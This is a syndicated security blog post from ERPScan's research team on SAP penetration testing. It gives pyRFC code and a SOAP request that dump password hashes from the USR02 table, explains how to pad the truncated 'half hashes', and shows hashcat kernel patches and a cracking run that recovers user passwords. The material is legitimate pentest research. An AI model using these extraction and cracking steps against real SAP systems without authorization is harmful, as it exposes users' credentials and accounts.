Adapting hashcat for SAP ‘half hashes’

In this article, you will see how to adapt hashcat to work with SAP ‘half hashes’.


One crucial aspect of SAP penetration testing is abusing users’
privileges after we got access to their passwords.

We often encounter a scenario when the server is an SAP NetWeaver ABAP
and the interface available is via RFC protocol (be it either over
tcp/33NN, or over webrfc SOAP gateway).

In this scenario, we cannot login via SAP GUI (we got a system or
communication user) but want to obtain an access to some existing SAP
GUI users or just assess the robustness of the users’ passwords. So, it
is necessary to get a hand on clear-text passwords.

We already know that SAP users’ passwords are hashed and stored for
ABAP application server in the USR02table. The column BCODE
stores the SAP CODVN B hash of the password, the column PASSCODE the
SAP CODVN F/G version., and if the server is not too old we can find
the column PWDSALTEDHASH with the SAP CODVN H hashed password.

The only way of gaining access to the database table via RFC is to
invoke the (remote-enabled) function module RFC_READ_TABLE. This
function has initially not been made to extract RAW fields and will
return a truncated value with half the size of the original field.

For dictionary brute forcing hashes, it is a blocking issue. We need a
full hash to check it against tools like hashcat/JohnTheRipper.

To solve this issue, it is required to find another RFC function
module that is remote-enabled. In systems where Data Services are
installed, variants exist that do not have this limitation/bug on raw
data and can be directly handled with usual cracking tools:


There are still a number of systems without those function modules
available. In this case, we get around the issue by adapting hashcat’s
hash verification for BCODE and PASSCODE hashes. NB: PWDSALTEDHASH
does not have this problem as it is stored as CHAR, but it is much
slower to brute-force.

Methodology of adapting SAP mangled hashes to hashcat

Extract the hashes via RFC / SOAP RFC by calling function module
RFC_READ_TABLE. And pad with NULL bytes the second part of the hash
that is missing. So, it may look like this in our test system:

SAP hashes extraction

Extracting SAP hashes via pure RFC connection

pyRFC method using the

from pyrfc import Connection    rfc_args = {'DELIMITER': '|',                'FIELDS': [{'FIELDNAME': 'MANDT'},                           {'FIELDNAME': 'BNAME'},                           {'FIELDNAME': 'UFLAG'},                           {'FIELDNAME': 'BCODE'},                           {'FIELDNAME': 'PASSCODE'},                           {'FIELDNAME': 'PWDSALTEDHASH'}],                'QUERY_TABLE': 'USR02'}    conn = Connection(ashost=host, sysnr=instance, client=client, user=user, passwd=password)    result ="RFC_READ_TABLE", **rfc_args)    print result['DATA']

This will go through the Gateway service listening on tcp/33NN and will
be dispatched for execution to one of the ABAP worker process.

Extracting SAP hashes via SOAP RFC

If the RFC port is not available, we can achieve the same result through
the SOAP RFC interface on the ICM HTTP service (tcp/80NN).

POST /sap/bc/soap/rfc?sap-client=001 HTTP/1.1    Host: abapserver:8000    SOAP-Action: RFC_READ_TABLE    Content-Type: text/xml;charset=UTF-8    Authorization: Basic U0FQKjowNjA3MTk5Mgo=    Connection: close    <SOAP-ENV:Envelope xmlns:SOAP-ENV="">        <SOAP-ENV:Header/>        <SOAP-ENV:Body>            <RFC_READ_TABLE xmlns="urn:sap-com:document:sap:rfc:functions">                <DATA><item/></DATA>                <DELIMITER>|</DELIMITER>                <QUERY_TABLE>USR02</QUERY_TABLE>                <FIELDS>                <ITEM>                        <FIELDNAME>MANDT</FIELDNAME>                </ITEM>                <ITEM>                        <FIELDNAME>BNAME</FIELDNAME>                </ITEM>                <ITEM>                        <FIELDNAME>UFLAG</FIELDNAME>                </ITEM>                <ITEM>                        <FIELDNAME>BCODE</FIELDNAME>                </ITEM>                <ITEM>                        <FIELDNAME>PASSCODE</FIELDNAME>                </ITEM>                <ITEM>                        <FIELDNAME>PWDSALTEDHASH</FIELDNAME>                </ITEM>                </FIELDS>            </RFC_READ_TABLE>        </SOAP-ENV:Body>    </SOAP-ENV:Envelope>``` xml### Padding SAP half hashesRFC dump of some users with non NULL BCODE hash is as follows:  MANDT   BNAME      UFLAG   BCODE      PASSCODE  ------- ---------- ------- ---------- ----------------------  001     BATIPPS    0       45E6C3EF   00000000000000000000  001     BLUMOEHR   0       7D3C4D5B   00000000000000000000  001     BOEHMA     0       D23047EF   00000000000000000000Then we need to fix the hashes so that hashcat will ingest them withthe default SAP CODVN parser:(we adopted this strategy in order to minimize the changes in the code)  BCODE half-hash   BCODE fixed  ----------------- ------------------  45E6C3EF          45E6C3EF00000000  7D3C4D5B          7D3C4D5B00000000  D23047EF          D23047EF00000000and build a file with the following usernames/hashes:    BATIPPS$45E6C3EF00000000    BLUMOEHR$7D3C4D5B00000000    BOEHMA$D23047EF00000000### Hashcat patch for SAP's half hashesWe explain how we patch hashcat's existing hashes (7700, 7800) into newones (7701, 7801). We will focus on the attack mode 0 (i.e. wordlist andwordlist+rules) as it is mainly what we use during security assessments.Thus, this article does not cover brute-force modes (`-a3`) andcombinator (`-a1`) but with regard to those explanations, their adaptionshould be easy.#### SAP CODEVN B (7701)The adaptation for CODEVN B (BCODE) hash is trivial and only requiresclearing the `b` value inside the OpenCL kernel of the 7700 version sothat we check only the first 32 bits of the clear-text hashed valueagainst our computation.``` diff        a ^= c;    -    b ^= d;    +    b  = 0;        c  = 0;        d  = 0;        COMPARE_$X_SIMD (a, b, c, d); // X being M and S


In the PASSCODE case, we need to be a bit more careful as our limit
where bits are all zeroed is in the middle of a 32-bit value. So we need
to clear half of the digest[2] 32 bit value and the last part of the
digest (digest[3] and digest[4]).

If we show a hexified representation of the digest when hash is full
and mangled we have something like this:

  • PASSCODE full hash extracted from USR02 table:
    BC150094 0E40B280 A3AA0519 33D4939C 9DAFCD27

  • PASSCODE half hash extracted from USR02 table:
    BC150094 0E40B280 A3AA0000 00000000 00000000

So the adaptation of the 7800 OpenCL kernel to 7801 becomes:

-    COMPARE_$X_SIMD (digest[3], digest[4], digest[2], digest[1]); // X being M and S    +    COMPARE_$X_SIMD (0, 0, digest[2] & 0xffff0000, digest[1]);

As of collisions, we don’t think that it is a practical issue when
considering that the probability for collision candidates to be in a
valid password character set space is likely to be very low.

We added those as new hashes in our modified version of hashcat, namely:



With this method, there should not be any differences with the benchmark
results of the 7700 and 7800 hashes. NB: as the brute-force attack mode
(-a3) is not implemented, the execution of the benchmark for hashes
7701 and 7801 will be impossible.

Known limitation

This modification concerns only hashcat’s attack mode “0” (that is
wordlist and wordlist + rules).


$ hashcat -m 7801 -a0 001_passcode.txt 10_million_password_list_top_1000000.txt    hashcat (v3.10-431-g87ae9cf+) starting...    OpenCL Platform #1: Intel(R) Corporation    ========================================    - Device #1: Intel(R) Core(TM) i5-6200U CPU @ 2.30GHz, 3981/15927 MB allocatable, 4MCU    Hashes: 91 digests; 91 unique digests, 91 unique salts    Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates    Rules: 1    Applicable Optimizers:    * Zero-Byte    * Precompute-Init    * Not-Iterated    Watchdog: Hardware Monitoring Interface not found on your system    Watchdog: Temperature abort trigger disabled    Watchdog: Temperature retain trigger disabled    Generated dictionary stats for 10_million_password_list_top_1000000.txt: 8529137 bytes, 1000001 words, 1000001 keyspace    TEST$BF433D884D827A4AC6AA00000000000000000000:test    KARASU$9A34C96A7D52DE5E324B00000000000000000000:wert    FORTMANN$F9BFB716D7242C37B67100000000000000000000:motorrad    WEISSAN$0A9665334DE2269D061C00000000000000000000:init    [s]tatus [p]ause [r]esume [b]ypass [c]heckpoint [q]uit => q    Session.Name...: hashcat    Status.........: Aborted    Input.Mode.....: File (10_million_password_list_top_1000000.txt)    Hash.Target....: File (001_passcode.txt)    Hash.Type......: SAP CODVN F/G (PASSCODE) mangled from RFC_READ_TABLE    Time.Started...: Fri Feb  2 16:45:51 2018 (6 secs)    Time.Estimated.: Fri Feb  2 16:46:22 2018 (24 secs)    Speed.Dev.#1...:  2917.5 kH/s (1.32ms)    Recovered......: 4/91 (4.40%) Digests, 4/91 (4.40%) Salts    Progress.......: 17563648/91000091 (19.30%)    Rejected.......: 0/17563648 (0.00%)    Restore.Point..: 192512/1000001 (19.25%)

Here is a short video showing how this workflow can be automated from the remote RFC hashes extraction to the dumping of the brute-forced passwords against a dictionary of common passwords.


You can download our patched version based on the hashcat release
v4.1.0-3-g63defd1+. The sources of our modified version is available
in our github

The post Adapting hashcat for SAP ‘half hashes’ appeared first on ERPScan.

This is a Security Bloggers Network syndicated blog post authored by Research Team. Read the original post at: Blog – ERPScan